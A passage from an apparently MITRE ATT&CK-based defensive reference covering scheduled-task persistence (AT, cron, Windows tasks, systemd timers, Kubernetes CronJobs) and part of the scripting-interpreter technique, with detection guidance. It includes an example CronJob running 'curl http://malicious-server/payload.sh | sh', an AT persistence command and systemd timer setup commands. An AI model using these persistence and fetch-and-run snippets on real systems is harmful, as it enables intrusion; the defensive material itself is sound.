  * Scheduled tasks through AT often run under SYSTEM privileges, enabling attackers to escalate privileges and gain complete control over compromised systems.
* **Stealth and Evasion**:
  * Scheduled tasks can execute malicious code at predetermined intervals, potentially bypassing real-time detection mechanisms and security monitoring.
* **Lateral Movement**:
  * Attackers may remotely schedule tasks on multiple systems, facilitating rapid lateral movement and widespread malware distribution.
* **Data Exfiltration and Damage**:
  * Malicious tasks can automate data theft, ransomware deployment, or sabotage operations, causing significant damage to organizational assets and reputation.
* **Early Detection**:
  * Timely identification of malicious scheduled tasks can mitigate further compromise, limit damage, and facilitate quicker incident response and remediation.

## Examples

Real-world examples of attacks leveraging the AT utility include:

* **APT Groups**:
  * APT29 (Cozy Bear) has been known to schedule tasks for persistence and execution of reconnaissance scripts and malware payloads.
  * APT32 (OceanLotus) has utilized scheduled tasks to execute malicious binaries and scripts, maintaining access and evading detection.
* **Commodity Malware**:
  * Emotet malware variants have used scheduled tasks, including AT commands, to maintain persistent execution of malicious payloads and modules.
* **Ransomware Attacks**:
  * Ryuk ransomware operators have leveraged scheduled tasks to execute ransomware payloads at specific times, maximizing damage and evading immediate detection.
* **Attack Scenario Example**:
  1. Attacker compromises initial host via phishing email delivering malicious payload.
  2. Attacker schedules a task using AT to execute malware payload periodically:

     ```
     at 02:00 /every:M,T,W,Th,F "C:\Temp\malicious.exe"
     ```
  3. Scheduled task executes malware payload daily at 2 AM, maintaining persistence and allowing attacker continuous access.
  4. Attacker escalates privileges, performs lateral movement, and schedules similar tasks on multiple hosts within the network.
  5. Malicious tasks facilitate data exfiltration, ransomware deployment, or reconnaissance activities, resulting in significant organizational impact.


# Cron

Cron \[T1053.003]

## Information

* Name: Cron
* ID: T1053.003
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0002/t1053)

## Introduction

Cron (T1053.003) is a sub-technique within the Scheduled Task/Job (T1053) category of the MITRE ATT\&CK framework. This sub-technique specifically involves adversaries leveraging the Cron utility, a time-based job scheduler native to Unix-like operating systems, to execute commands or scripts automatically at specified intervals. Attackers often exploit Cron to maintain persistence, escalate privileges, or execute malicious payloads covertly within compromised environments.

## Deep Dive Into Technique

Cron is a Linux/Unix-based scheduling utility that allows users and administrators to automate tasks by scheduling scripts or commands to execute at predefined times and intervals. Cron jobs are defined in a structured text file called a "crontab," typically located in directories such as `/etc/crontab`, `/etc/cron.d/`, `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, `/etc/cron.monthly/`, or user-specific cron files accessed via the `crontab -e` command.

Cron's syntax consists of five fields specifying the execution timing (minute, hour, day of month, month, day of week), followed by the command or script to execute. For example:

```
*/5 * * * * /usr/bin/script.sh
```

This line executes `script.sh` every five minutes.

Attackers exploit Cron by:

* Adding malicious cron jobs to persistently execute malware or scripts at regular intervals.
* Modifying existing legitimate cron jobs to include malicious payloads or commands.
* Utilizing Cron to escalate privileges by placing malicious scripts in directories where they execute with elevated privileges (such as `/etc/cron.daily/`).
* Scheduling tasks to reconnect to command-and-control (C2) servers periodically, ensuring persistent communication channels.
* Leveraging cron jobs to clean up evidence or logs periodically, complicating forensic investigations.

Cron jobs can execute with varying privileges depending on the user account under which they are scheduled. Adversaries often exploit cron jobs executed by privileged users (such as root) to gain or maintain escalated system access.

## When this Technique is Usually Used

Adversaries typically use Cron (T1053.003) in various attack scenarios and stages, including:

* **Persistence Stage:**
  * Ensuring continuous execution of malicious scripts or payloads even after system reboots or user logouts.
  * Maintaining long-term access to compromised systems without relying on interactive sessions.
* **Privilege Escalation Stage:**
  * Exploiting cron jobs running with higher privileges (e.g., root cron jobs) to execute malicious scripts with elevated permissions.
  * Modifying cron jobs or scripts located in privileged directories (`/etc/cron.*`) to escalate privileges on compromised hosts.
* **Execution and Command-and-Control (C2) Stage:**
  * Scheduling periodic execution of scripts that establish or maintain communication with remote attacker infrastructure.
  * Automating reconnaissance tasks, data exfiltration, or lateral movement activities within compromised networks.
* **Defense Evasion Stage:**
  * Automating cleanup tasks to remove traces of intrusion, delete logs, or eliminate evidence periodically.
  * Scheduling tasks at unusual intervals to evade detection by security monitoring tools.

## How this Technique is Usually Detected

Detection methods for Cron-based attacks typically involve monitoring system configurations, logs, and scheduled tasks for suspicious or unauthorized changes. Common detection approaches include:

* **File Integrity Monitoring (FIM):**
  * Monitor cron directories and files (`/etc/cron.*`, `/var/spool/cron/*`) for unauthorized modifications or additions.
  * Track changes in crontabs of privileged accounts (root, administrative users).
* **Audit Logging and Monitoring:**
  * Enable and monitor audit logs (`auditd`) for modifications to cron configuration files and directories.
  * Monitor system logs (`/var/log/syslog`, `/var/log/cron`, `/var/log/messages`) for unusual cron job executions, failures, or errors.
* **Behavioral Analysis and Anomaly Detection:**
  * Identify cron jobs executing at unusual intervals or times.
  * Detect cron jobs running from suspicious or non-standard locations (such as `/tmp`, `/dev/shm`, or user home directories).
* **Endpoint Detection and Response (EDR) Tools:**
  * Utilize EDR solutions to detect and alert on suspicious cron-related activities, command executions, or script invocations.
  * Monitor processes spawned by cron jobs for suspicious behaviors, malicious payloads, or network connections.

Specific Indicators of Compromise (IoCs) include:

* Unrecognized cron entries executing scripts or binaries from suspicious directories.
* Cron jobs executing base64-encoded commands or obfuscated scripts.
* Cron entries containing network commands (`curl`, `wget`, `nc`) connecting to unknown or suspicious IP addresses or domains.
* Cron entries executing scripts with names mimicking legitimate system utilities or processes.

## Why it is Important to Detect This Technique

Early detection of malicious cron-based activities is essential due to the significant risks and impacts associated with this technique, including:

* **Persistent Access:**
  * Adversaries can maintain long-term, stealthy access to compromised systems, making remediation difficult without timely detection.
* **Privilege Escalation:**
  * Cron jobs executed under high-privileged accounts (such as root) can enable attackers to escalate privileges and gain full control over compromised systems.
* **Data Exfiltration and Command-and-Control (C2):**
  * Scheduled tasks can automate periodic data exfiltration or maintain persistent communication channels with attacker-controlled infrastructure.
* **Defense Evasion and Cleanup:**
  * Cron jobs can automate periodic deletion of logs or forensic evidence, complicating incident response and forensic investigations.
* **Resource Abuse and Performance Degradation:**
  * Malicious cron tasks can consume significant system resources, degrade performance, or disrupt normal operations.

Prompt detection and response to malicious cron activities can significantly reduce the attackers' dwell time, minimize potential damage, and facilitate rapid containment and remediation efforts.

## Examples

Real-world examples of Cron (T1053.003) abuse include:

* **Rocke Group Malware Campaign:**
  * Attackers leveraged cron jobs to persistently execute malicious cryptocurrency mining scripts. Cron entries periodically downloaded and executed updated payloads from remote attacker-controlled servers, ensuring persistent resource exploitation and monetization.
* **Linux Coin Miners (XMRig, Kinsing):**
  * Malicious cron entries installed by attackers regularly executed scripts to download, update, and execute cryptocurrency mining software (XMRig, Kinsing). These cron jobs ensured continuous mining operations, persistent C2 communications, and self-update mechanisms.
* **TeamTNT Malware Campaign:**
  * TeamTNT utilized cron jobs to establish persistence and periodically execute scripts that scanned for vulnerable Docker instances and AWS credentials. Cron-based scripts facilitated lateral movement, data exfiltration, and resource abuse within cloud and container environments.
* **HiddenWasp Malware:**
  * HiddenWasp malware used cron jobs to execute persistent backdoor scripts on compromised Linux systems. Cron jobs periodically re-established connections to attacker-controlled infrastructure, enabling persistent remote access and control.
* **CronRAT Malware:**
  * CronRAT, a sophisticated Linux malware, exploited cron jobs scheduled on non-existent dates (e.g., February 31) to evade detection. The malware's cron entries appeared benign at first glance but executed malicious payloads covertly, bypassing traditional detection methods.

In all these examples, attackers leveraged Cron to ensure persistence, evade detection, escalate privileges, and automate malicious activities, demonstrating the critical importance of proactive monitoring and detection mechanisms for this sub-technique.


# Scheduled Task

Scheduled Task \[T1053.005]

## Information

* Name: Scheduled Task
* ID: T1053.005
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0002/t1053)

## Introduction

Scheduled Task (T1053.005) is a sub-technique defined within the MITRE ATT\&CK framework under the broader technique of Scheduled Task/Job (T1053). Attackers utilize scheduled tasks to execute malicious payloads or maintain persistence on compromised systems. Specifically, this sub-technique involves leveraging scheduled tasks within Windows environments, using built-in tools such as Task Scheduler (`schtasks.exe`) or Task Scheduler APIs to run malicious code at predetermined times or intervals. This approach allows adversaries to automate execution, evade detection, and maintain persistence over extended periods.

## Deep Dive Into Technique

Scheduled tasks in Windows are managed by the Task Scheduler service, allowing users and administrators to automate processes. Attackers commonly exploit this legitimate functionality to execute malicious payloads and scripts.

Attackers typically use the following methods and mechanisms:

* **Built-in Windows tools**:
  * `schtasks.exe`: Command-line utility used to create, modify, delete, query, run, and terminate scheduled tasks.
  * Task Scheduler GUI: Windows graphical interface allowing task creation and management.
  * PowerShell cmdlets: `New-ScheduledTask`, `Register-ScheduledTask`, and related cmdlets to automate task creation.
  * Windows Task Scheduler APIs: Programmatic access via COM interfaces for more advanced task creation and management.
* **Common tactics and procedures**:
  * Creating tasks that execute malicious scripts or executables at system startup, logon, or specific intervals.
  * Configuring tasks to run with elevated privileges or under different user contexts to escalate privileges or evade detection.
  * Using tasks to periodically check and download additional payloads from command-and-control (C2) servers.
  * Modifying existing scheduled tasks to insert malicious commands or scripts, blending in with legitimate system operations.
* **Task storage locations**:
  * Tasks are stored as XML files within `%SystemRoot%\System32\Tasks\`.
  * Registry keys under `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\` contain metadata about scheduled tasks.

## When this Technique is Usually Used

Attackers commonly employ scheduled tasks at various stages of the cyberattack lifecycle, including:

* **Persistence**:
  * Maintaining long-term access to compromised systems by repeatedly executing malicious code at regular intervals or on system reboot.
  * Ensuring continued access even after system reboots, user logoffs, or security software updates.
* **Privilege Escalation**:
  * Exploiting scheduled tasks running with elevated privileges to escalate attacker privileges from standard user to administrator or SYSTEM-level rights.
* **Defense Evasion**:
  * Using scheduled tasks to execute malicious payloads indirectly, bypassing detection tools that monitor direct file execution or suspicious process creations.
  * Leveraging legitimate scheduled tasks or modifying existing ones to blend malicious activities into normal system operations.
* **Execution and Command-and-Control (C2)**:
  * Regularly executing scripts or binaries that initiate C2 communications, download additional payloads, or exfiltrate data.
  * Automating periodic checks to attacker-controlled infrastructure.

## How this Technique is Usually Detected

Detection of malicious scheduled tasks involves monitoring and analyzing several key indicators and employing various detection methods, including:

* **Monitoring Scheduled Task Creation and Modification**:
  * Monitoring Windows Event Logs, specifically:
    * Security logs (Event ID 4698 for task creation, Event ID 4702 for task modification).
    * Microsoft-Windows-TaskScheduler/Operational logs for detailed task activity.
  * Leveraging Endpoint Detection and Response (EDR) tools to detect suspicious task creation commands (`schtasks.exe`, PowerShell cmdlets).
* **Analyzing Task Scheduler XML Files and Registry Entries**:
  * Regularly scanning `%SystemRoot%\System32\Tasks\` for unusual or newly created task XML files.
  * Inspecting task XML files for suspicious commands, scripts, executables, or unusual triggers (e.g., frequent intervals, odd execution times).
  * Monitoring registry keys under `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\` for unauthorized modifications.
* **Behavioral Analysis and Anomaly Detection**:
  * Detecting unusual task execution patterns, such as tasks running at odd hours, frequent intervals, or unexpected user contexts.
  * Identifying tasks executing binaries or scripts located in temporary directories, unusual system paths, or user profile folders.
* **Specific Indicators of Compromise (IoCs)**:
  * Suspicious command-line arguments or scripts embedded in task definitions.
  * Tasks running executables from uncommon or temporary directories (`%TEMP%`, `%APPDATA%`, `%USERPROFILE%`, etc.).
  * Tasks executing encoded PowerShell commands or scripts referencing external URLs or IP addresses.
  * Unexpected tasks created or modified by non-administrative users or unknown accounts.

## Why it is Important to Detect This Technique

Detecting malicious scheduled tasks is critical due to several potential impacts and risks:

* **Persistence and Long-term Compromise**:
  * Scheduled tasks enable attackers to maintain persistent access, extending the duration and severity of compromise.
  * Early detection prevents attackers from re-establishing footholds after initial remediation efforts.
* **Privilege Escalation and System Compromise**:
  * Tasks running with elevated privileges can allow attackers to escalate privileges, gaining administrative or SYSTEM-level rights.
  * Early detection prevents attackers from leveraging elevated privileges to further compromise systems or networks.
* **Defense Evasion and Detection Challenges**:
  * Scheduled tasks can bypass traditional antivirus and endpoint detection solutions by leveraging legitimate system utilities and mechanisms.
  * Timely identification of malicious tasks reduces the risk of attackers evading detection and performing stealthy operations.
* **Data Exfiltration and Command-and-Control (C2)**:
  * Attackers often use scheduled tasks to automate data exfiltration or periodic C2 communications.
  * Early detection prevents sensitive data loss and disrupts attacker command-and-control channels.
* **Minimizing Damage and Incident Response Costs**:
  * Early detection and remediation of malicious scheduled tasks significantly reduce the potential damage, operational disruption, and associated costs of incident response and recovery.

## Examples

Real-world examples and attack scenarios involving Scheduled Task (T1053.005):

* **APT29 (Cozy Bear)**:
  * Used scheduled tasks to execute PowerShell scripts for persistence, lateral movement, and data exfiltration.
  * Tasks were configured to run malicious payloads at system startup or user logon, ensuring persistence and regular command-and-control communication.
* **FIN7**:
  * Leveraged scheduled tasks to execute malicious JavaScript payloads and PowerShell scripts for persistence and data theft.
  * Tasks executed malicious scripts from temporary directories at frequent intervals, enabling continuous monitoring and data exfiltration from compromised systems.
* **TrickBot Malware**:
  * Created scheduled tasks to execute malicious binaries and scripts, maintaining persistence and periodically downloading additional payloads.
  * Tasks were often configured to run at system startup or specific intervals, ensuring continuous malware execution and C2 communications.
* **Ryuk Ransomware**:
  * Utilized scheduled tasks to automate ransomware execution and lateral movement across compromised networks.
  * Tasks executed ransomware payloads at predetermined times, maximizing impact and disrupting organizational operations.
* **Emotet Malware**:
  * Scheduled tasks were used to execute malicious scripts and binaries, maintaining persistence and facilitating further malware deployment (e.g., TrickBot, Ryuk).
  * Tasks executed payloads from temporary or user profile directories, regularly communicating with attacker-controlled infrastructure.

In these examples, attackers leveraged scheduled tasks to ensure persistence, automate malicious activities, evade detection, and facilitate data exfiltration or ransomware deployment, highlighting the importance of thorough monitoring and timely detection.


# Systemd Timers

Systemd Timers \[T1053.006]

## Information

* Name: Systemd Timers
* ID: T1053.006
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0002/t1053)

## Introduction

Systemd Timers (T1053.006) is a sub-technique under the Scheduled Task/Job technique (T1053) within the MITRE ATT\&CK framework. It involves adversaries leveraging systemd timer units, a Linux-based scheduling mechanism, to execute malicious scripts or binaries at predetermined intervals or specific times. Systemd timers are similar in functionality to cron jobs but offer enhanced flexibility, reliability, and logging capabilities, making them an attractive option for attackers seeking persistence, execution, or privilege escalation on compromised Linux systems.

## Deep Dive Into Technique

Systemd timers are used to schedule tasks using two primary components: timer units (`.timer`) and service units (`.service`). Attackers typically use these components in combination to achieve persistent execution of malicious payloads.

### Technical Execution Details

* **Timer unit files** (`.timer`) define the schedule or event that triggers execution. These files specify time-based triggers (e.g., daily, weekly, monthly) or events (e.g., boot completion, idle state).
* **Service unit files** (`.service`) define the actual command, script, or binary to execute when triggered by the timer unit.

### Common file locations attackers leverage

* `/etc/systemd/system/`: Global systemd configuration directory, requiring root privileges.
* `~/.config/systemd/user/`: User-specific timers and services, not requiring root privileges.

### Typical commands attackers use

* Creating malicious timer and service unit files:

  ```bash
  vim ~/.config/systemd/user/malicious.timer
  vim ~/.config/systemd/user/malicious.service
  ```
* Enabling and starting timer units:

  ```bash
  systemctl --user enable malicious.timer
  systemctl --user start malicious.timer
  ```
* Checking timer status:

  ```bash
  systemctl --user list-timers
  ```

### Key attributes attackers exploit

* **Persistent execution:** Timers can ensure the malicious payload executes regularly, surviving reboots and system updates.
* **Stealth:** Timers can be named deceptively similar to legitimate systemd timers, complicating detection.
* **Logging:** Systemd timers provide integrated logging, which attackers may manipulate or clear to obscure their activities.

## When this Technique is Usually Used

Attackers typically utilize Systemd Timers at various stages of the cyber kill chain, primarily to establish persistence and maintain long-term access to compromised systems. Common scenarios and stages include:

* **Persistence:** Attackers frequently leverage systemd timers to maintain a foothold, ensuring their payload executes at regular intervals or at boot time.
* **Execution:** Timers provide attackers with scheduled execution capabilities, allowing periodic data exfiltration, command-and-control beaconing, or lateral movement within the compromised environment.
* **Privilege Escalation:** If attackers have access to privileged accounts, they may create or modify system-wide timer units to execute malicious commands with elevated privileges.
* **Defense Evasion:** Systemd timers can be named similarly to legitimate services, enabling attackers to blend in with normal system operations and evade detection.

## How this Technique is Usually Detected

Detection of malicious Systemd Timers involves monitoring, analyzing, and auditing specific system activities, files, and behaviors. Common detection methods include:

* **File Integrity Monitoring (FIM):** Detecting unauthorized creation or modification of `.timer` and `.service` files, especially in system-wide directories (`/etc/systemd/system/`) or unexpected user directories (`~/.config/systemd/user/`).
* **Systemd Logs and Auditing:** Reviewing systemd logs (`journalctl`) for suspicious timer execution, unexpected job failures, or unusual scheduling patterns.

  ```bash
  journalctl -u suspicious.service
  journalctl --user-unit suspicious.service
  ```
* **Real-time Monitoring Tools:** Deploying endpoint detection and response (EDR) solutions, Security Information and Event Management (SIEM) systems, or Linux auditing tools (auditd) to monitor and alert on suspicious timer creation and execution.
* **Command Execution Monitoring:** Auditing commands such as `systemctl enable`, `systemctl start`, or `systemctl list-timers` executed by unauthorized or unexpected users.
* **Behavioral Analysis:** Identifying abnormal timer schedules (e.g., timers triggering execution at unusual intervals or times) or unusual system load patterns.

### Indicators of Compromise (IoCs)

* Unexpected `.timer` and `.service` files in system or user directories.
* Suspicious timer names mimicking legitimate systemd timers.
* Unusual periodic network connections or data transfers correlating with timer execution intervals.
* Unexplained cron-like behavior without corresponding cron jobs.

## Why it is Important to Detect This Technique

Early detection of malicious Systemd Timers is critical due to their potential impacts on system security, stability, and confidentiality. Key reasons include:

* **Persistence and Long-term Access:** Undetected timers allow attackers prolonged access to compromised systems, facilitating further malicious activities such as lateral movement, data exfiltration, or privilege escalation.
* **Data Exfiltration and Espionage:** Timers can be employed to periodically exfiltrate sensitive data or intellectual property, potentially causing significant financial and reputational damage.
* **Resource Abuse:** Attackers can leverage scheduled tasks to abuse system resources (e.g., cryptomining, denial-of-service attacks), negatively impacting system performance and availability.
* **Stealth and Evasion:** Attackers may disguise timers as legitimate system tasks, complicating detection and forensic analysis. Early detection helps security teams mitigate these risks and prevent further compromise.

## Examples

Real-world examples of attackers utilizing Systemd Timers include:

* **Rocke Group Cryptomining Campaign:**
  * **Scenario:** The Rocke threat group deployed cryptomining malware on compromised Linux servers using systemd timers to maintain persistence and ensure continuous mining operations.
  * **Tools Used:**
    * Malicious `.timer` and `.service` unit files for scheduled execution.
    * Monero cryptocurrency mining binaries.
  * **Impact:** Resource exhaustion, increased energy costs, reduced system performance, and potential damage to hardware.
* **Skidmap Linux Malware:**
  * **Scenario:** Skidmap malware leveraged systemd timers to periodically execute malicious kernel modules and rootkits, maintaining stealthy persistence and evading traditional detection mechanisms.
  * **Tools Used:**
    * Malicious systemd timer units combined with rootkits and kernel-level backdoors.
  * **Impact:** Persistent root-level access, data theft, compromised system integrity, and significant detection difficulties.
* **TeamTNT Malware Campaign:**
  * **Scenario:** TeamTNT malware operators utilized systemd timers to periodically execute scripts that scanned cloud environments for exposed Docker APIs and Kubernetes clusters, enabling lateral movement and further compromise.
  * **Tools Used:**
    * Bash scripts scheduled via systemd timers.
    * Network scanning utilities.
  * **Impact:** Unauthorized access to cloud infrastructure, lateral movement, potential data breaches, and unauthorized cryptomining activities.


# Container Orchestration Job

Container Orchestration Job \[T1053.007]

## Information

* Name: Container Orchestration Job
* ID: T1053.007
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0002/t1053)

## Introduction

Container Orchestration Job (T1053.007) is a sub-technique within the Scheduled Task/Job (T1053) technique category of the MITRE ATT\&CK framework. This sub-technique specifically involves adversaries leveraging container orchestration platforms, such as Kubernetes, Docker Swarm, Amazon ECS, or Azure Container Instances, to schedule and execute malicious jobs or tasks. Attackers exploit legitimate job scheduling functionalities provided by these platforms to execute unauthorized commands, scripts, or binaries, thus achieving persistence, lateral movement, privilege escalation, or command and control (C2) communications.

## Deep Dive Into Technique

Adversaries utilize container orchestration systems' built-in scheduling capabilities to execute malicious tasks. Container orchestrators such as Kubernetes and Docker Swarm periodically execute scheduled tasks or jobs, defined through YAML or JSON configuration files, to automate routine operations. Attackers exploit this functionality by injecting or modifying these scheduled jobs to run malicious payloads.

Technical execution details often include:

* **Kubernetes CronJobs**:
  * Attackers create or modify CronJob resources to execute scripts or commands at scheduled intervals.
  * YAML manifests specify the container image, commands, and execution schedules (cron syntax).
  * Example Kubernetes manifest:

    ```yaml
    apiVersion: batch/v1
    kind: CronJob
    metadata:
      name: malicious-job
      namespace: default
    spec:
      schedule: "*/5 * * * *"
      jobTemplate:
        spec:
          template:
            spec:
              containers:
                - name: malicious-container
                  image: attacker-controlled-image
                  command:
                    [
                      "/bin/sh",
                      "-c",
                      "curl http://malicious-server/payload.sh | sh",
                    ]
              restartPolicy: OnFailure
    ```
* **Docker Swarm Scheduled Tasks**:
  * Docker Swarm does not natively support scheduling jobs; however, attackers might leverage external schedulers or cron containers to achieve similar functionality.
  * Attackers deploy malicious containers that periodically execute commands or scripts to maintain persistence or exfiltrate data.
* **Cloud Container Platforms (Amazon ECS, Azure Container Instances)**:
  * Attackers schedule tasks using cloud-native scheduling tools (e.g., AWS CloudWatch Events, Azure Logic Apps) to trigger malicious container executions.
  * Attackers manipulate task definitions or event triggers to execute containers containing malicious payloads.

Common mechanisms attackers use include:

* Creating new scheduled jobs to establish persistence or maintain a foothold.
* Modifying existing legitimate jobs to include malicious commands or payloads.
* Using orchestrator APIs or compromised credentials to deploy malicious scheduled tasks.
* Leveraging scripts or binaries within containers to perform reconnaissance, lateral movement, or data exfiltration.

## When this Technique is Usually Used

Adversaries typically employ Container Orchestration Jobs during various stages of the attack lifecycle, including:

* **Persistence**:
  * Scheduling malicious tasks that periodically re-establish access if initial footholds are removed.
  * Ensuring continued presence within compromised environments through regular execution of malicious payloads.
* **Execution**:
  * Utilizing scheduled tasks to execute payloads, scripts, or commands on containerized workloads.
  * Automating command execution within compromised systems at predetermined intervals.
* **Privilege Escalation and Lateral Movement**:
  * Exploiting orchestrator privileges or misconfigurations to schedule tasks in higher-privileged namespaces or clusters.
  * Moving laterally by scheduling tasks on other nodes or clusters within the orchestrated environment.
* **Command and Control (C2) Communications**:
  * Scheduling containers that periodically communicate with attacker-controlled infrastructure to receive commands or exfiltrate data.
* **Data Exfiltration**:
  * Automating data collection and exfiltration through scheduled container tasks.

## How this Technique is Usually Detected

Detection mechanisms for Container Orchestration Jobs typically include:

* **Monitoring and Logging**:
  * Enabling and centrally collecting logs from container orchestration platforms (e.g., Kubernetes API server audit logs, Docker daemon logs).
  * Monitoring scheduled job creation, modification, or deletion events closely.
* **Behavioral Analytics**:
  * Implementing anomaly detection solutions to identify unusual scheduled job creation or execution patterns.
  * Detecting unusual container images or commands used in scheduled tasks.
* **Security Tools and Platforms**:
  * Container security solutions (e.g., Aqua Security, Sysdig, Prisma Cloud) capable of detecting suspicious container images, runtime behaviors, and orchestrator API activities.
  * SIEM platforms (Splunk, ELK, QRadar) configured to alert on suspicious orchestration events or API calls.
* **Indicators of Compromise (IoCs)**:
  * Unexpected CronJob or Job resources appearing in Kubernetes clusters.
  * Scheduled tasks referencing unknown or untrusted container images.
  * Unusual outbound network connections originating from scheduled containers.
  * Logs indicating unauthorized API calls or modifications to orchestrator configurations.

## Why it is Important to Detect This Technique

Early detection of Container Orchestration Job misuse is critical due to the following impacts:

* **Persistent Access**:
  * Attackers can maintain long-term persistence within containerized environments, making remediation challenging without detection.
* **Data Exfiltration**:
  * Scheduled malicious tasks can regularly exfiltrate sensitive data, intellectual property, or customer information, leading to significant financial and reputational damage.
* **Resource Abuse and Cost Implications**:
  * Attackers may use scheduled containers for cryptocurrency mining or other resource-intensive tasks, causing increased infrastructure costs.
* **Privilege Escalation and Lateral Movement**:
  * Misuse of orchestration platforms can allow attackers to escalate privileges or move laterally across container clusters, significantly expanding the attack surface.
* **Operational Disruption**:
  * Malicious scheduled tasks can disrupt legitimate workloads, degrade performance, or cause service outages, impacting business continuity.

Detecting this technique early allows organizations to rapidly contain incidents, minimize damage, and prevent attackers from achieving their objectives.

## Examples

Real-world examples and scenarios involving Container Orchestration Jobs include:

* **TeamTNT Attacks**:
  * Attackers leveraging Kubernetes CronJobs to deploy cryptocurrency mining containers.
  * Scheduled tasks periodically pulling malicious container images from attacker-controlled registries to mine cryptocurrencies, leading to increased cloud infrastructure costs and degraded performance.
* **Hildegard Malware**:
  * Hildegard malware targeted Kubernetes clusters, creating CronJobs to execute malicious scripts.
  * Scheduled tasks downloaded and ran malicious payloads, enabling attackers to establish persistence, conduct lateral movement, and exfiltrate data.
* **Kinsing Malware Campaign**:
  * Attackers used compromised Kubernetes clusters to schedule malicious jobs for cryptocurrency mining.
  * CronJobs executed periodically, ensuring persistent access and continuous resource abuse.
* **Azure Container Instance (ACI) Exploitation**:
  * Adversaries compromised Azure Container Instances, scheduling malicious containers that executed scripts to exfiltrate sensitive data to external servers.
  * Attackers leveraged Azure Logic Apps or Azure Automation to trigger scheduled malicious containers.

In these scenarios, attackers leveraged scheduled container tasks to maintain persistence, execute malicious commands, escalate privileges, and exfiltrate data, demonstrating the critical importance of monitoring and detecting Container Orchestration Job abuses.


# Command and Scripting Interpreter

Command and Scripting Interpreter \[T1059]

## Information

* Name: Command and Scripting Interpreter
* ID: T1059
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Sub-Technique: [T1059.007](/mitre/mitre/ta0002/t1059/t1059.007), [T1059.002](/mitre/mitre/ta0002/t1059/t1059.002), [T1059.010](/mitre/mitre/ta0002/t1059/t1059.010), [T1059.009](/mitre/mitre/ta0002/t1059/t1059.009), [T1059.008](/mitre/mitre/ta0002/t1059/t1059.008), [T1059.001](/mitre/mitre/ta0002/t1059/t1059.001), [T1059.004](/mitre/mitre/ta0002/t1059/t1059.004), [T1059.011](/mitre/mitre/ta0002/t1059/t1059.011), [T1059.006](/mitre/mitre/ta0002/t1059/t1059.006), [T1059.003](/mitre/mitre/ta0002/t1059/t1059.003), [T1059.005](/mitre/mitre/ta0002/t1059/t1059.005)

## Introduction

Command and Scripting Interpreter (MITRE ATT\&CK ID: T1059) refers to adversaries leveraging built-in command-line interfaces, scripting languages, and interpreters to execute commands, scripts, or binaries on compromised hosts. These interpreters include Windows Command Shell (cmd.exe), PowerShell, Unix shells (bash, sh), Python, JavaScript, and others. Attackers use these interpreters because they are typically native to operating systems, making their activities harder to distinguish from legitimate administrative operations.

## Deep Dive Into Technique

Attackers use command and scripting interpreters to execute arbitrary commands, automate malicious tasks, and navigate compromised systems. Common interpreters include:

* **Windows Command Shell (cmd.exe):**
  * Executes Windows commands and batch scripts (.bat, .cmd).
  * Often used to initiate malicious binaries or scripts, manipulate files, or enumerate system information.
* **PowerShell:**
  * Native Windows scripting language providing extensive access to system internals.
  * Frequently used due to its robust features, such as obfuscation, remote execution, and advanced script execution capabilities.
* **Unix/Linux Shells (bash, sh, zsh):**
  * Standard command interpreters for Unix/Linux systems.
  * Attackers commonly leverage shell scripts to automate reconnaissance, lateral movement, privilege escalation, and data exfiltration.
* **Python Interpreter:**
  * Widely installed scripting language across multiple platforms.
  * Enables attackers to execute cross-platform scripts, exploit vulnerabilities, or load additional modules dynamically.
* **JavaScript Interpreter (JScript, Node.js):**
  * Commonly employed in Windows for executing scripts via Windows Script Host (WSH).
  * Used by adversaries to execute encoded or obfuscated payloads and bypass traditional defenses.

Execution mechanisms include:

* Direct invocation of interpreters via command line or scripts.
* Embedding scripts within legitimate documents (macros, embedded scripts).
* Utilizing scheduled tasks, cron jobs, or service execution to automate malicious scripts.
* Employing obfuscation and encoding techniques to evade detection and analysis.

Real-world procedures often involve:

* Initial access via phishing emails with malicious scripts attached.
* Execution of PowerShell commands to download additional payloads.
* Use of cmd.exe to enumerate system information or perform lateral movement.
* Leveraging bash scripts to automate data exfiltration on compromised Linux servers.

## When this Technique is Usually Used

Attackers leverage command and scripting interpreters across multiple stages of the cyber kill chain:

* **Initial Access:**
  * Malicious scripts embedded in phishing emails or attachments.
  * Exploitation of web vulnerabilities leading to interpreter execution.
* **Execution:**
  * Direct invocation of interpreters to run malicious payloads or scripts.
  * Automated execution via scheduled tasks or cron jobs.
* **Persistence:**
  * Establishing persistent scheduled tasks or cron jobs executing malicious scripts periodically.
  * Modifying startup scripts or registry entries to invoke interpreters at system boot.
* **Privilege Escalation:**
  * Scripts designed to exploit vulnerabilities or misconfigurations to elevate privileges.
* **Defense Evasion:**
  * Obfuscating scripts or commands to evade detection by antivirus and endpoint detection systems.
  * Using legitimate interpreters to blend malicious activity with normal administrative tasks.
* **Discovery:**
  * Leveraging built-in commands and scripts to enumerate system configurations, installed software, network connections, and user accounts.
* **Lateral Movement:**
  * Scripts executed remotely via PowerShell Remoting, SSH, or remote command execution tools.
* **Exfiltration:**
  * Automating data collection and transfer through scripting interpreters.

## How this Technique is Usually Detected

Detection of command and scripting interpreter misuse involves a combination of monitoring techniques, tools, and indicators:

* **Endpoint Detection and Response (EDR):**
  * Monitoring interpreter processes (cmd.exe, powershell.exe, bash, python.exe) for abnormal behaviors.
  * Detecting unusual parent-child process relationships (e.g., office documents spawning cmd.exe or powershell.exe).
* **Logging and Monitoring:**
  * Windows Event Logs (Security, PowerShell Operational logs, Sysmon logs) capturing command-line arguments, script execution, and process creation events.
  * Linux auditd logs for tracking shell command execution and cron job modifications.
* **Behavioral Analysis:**
  * Identifying anomalous scripting interpreter usage patterns, such as execution from non-standard directories, unusual command-line parameters, or encoded/obfuscated commands.
* **Threat Hunting:**
